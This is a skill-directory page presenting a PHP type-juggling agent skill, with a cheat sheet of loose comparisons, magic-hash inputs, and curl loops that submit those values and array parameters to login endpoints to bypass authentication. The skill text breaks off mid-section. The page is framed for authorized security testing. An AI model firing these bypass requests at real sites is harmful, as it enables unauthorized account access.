php-type-juggling
What it does
This skill explains how PHP's loose comparisons can let an attacker bypass checks. It is for security testers reviewing PHP apps, especially authentication and hash comparisons.
When to use it
- βWhen a PHP app compares hashes or tokens with the loose comparison operator.
- βWhen a security review asks whether authentication checks use strict comparison.
- βWhen a PHP login may accept unexpected values such as null or numeric strings.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check whether my PHP login can be bypassed because it uses loose comparison?β
5 new skills a week. 1 minute to read.
How it works
The agent explains and tests values that PHP treats as equal when compared loosely, such as numeric strings that look like hashes, and checks whether a check passes.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
PHP Type Juggling and Magic Hash Attacks
Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.
PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types β a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.
Affects PHP 5.xβ7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.
ATT&CK Mapping
| Technique | Notes |
|---|---|
| T1190 | Exploit public-facing application β auth bypass via comparison flaw |
| T1606.001 | Forge web credentials β force authentication with crafted hash values |
1. Loose Comparison Cheat Sheet
'0010e2' == '1e3' β true (both evaluate as float 1000)
'123' == 123 β true (string cast to int)
'123abc' == 123 β true (leading numeric string)
'abc' == 0 β true (non-numeric string == 0 in PHP 5/7)
'' == 0 β true
0 == false β true
false == NULL β true
NULL == '' β true
md5([]) == NULL β true (NULL == any string starting with 0e)
sha1([]) == NULL β true
PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.
2. Magic Hashes β 0e Collisions
When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.
MD5 Magic Strings
| Input | MD5 Hash |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QNKCDZO |
0e830400451993494058024219903391 |
0e1137126905 |
0e291659922323405260514745084877 |
0e215962017 |
0e291242476940776845150308577824 |
aabg7XSs |
0e087386482136013740957780965295 |
SHA-1 Magic Strings
| Input | SHA-1 Hash |
|---|---|
10932435112 |
0e07766915004133176347055865026311692244 |
aaroZmOk |
0e66507019969427134894567494305185566735 |
aaK1STfY |
0e76658526655756207688271159624026011393 |
SHA-224 / SHA-256 Magic Strings
| Hash | Input | Output |
|---|---|---|
| SHA-224 | 10885164793773 |
0e281250946775200129471613219196999537878926740638594636 |
| SHA-256 | 34250003024812 |
0e46289032038065916139621039085883773413820991920706299695051332 |
| SHA-256 | TyNOQHUS |
0e66298694359207596086558843543959518835691168370379069085300385 |
Exploitation
# Login bypass β submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.
# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
3. NULL Bypass via Array Input
md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:
# Send array input to hash functions β triggers NULL return
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
# POST with array notation
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"
4. strcmp() Return Value Bypass
strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"
5. HMAC Brute-Force for 0e Collision (Magic HMAC)
When a cookie HMAC is verified with loose comparison against "0", an attacker
FAQ
What is a magic hash?
It is a value whose hash starts with zero, an e and digits, which PHP reads as zero in a loose comparison.
Does it apply to newer PHP versions?
The skill says PHP 8 fixed most numeric string cases, but some edge cases remain.
Is it only about passwords?
No, it also covers HMAC checks and NULL return problems.
Details
Original description by the author
PHP type juggling and magic hash attacks β exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14075
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.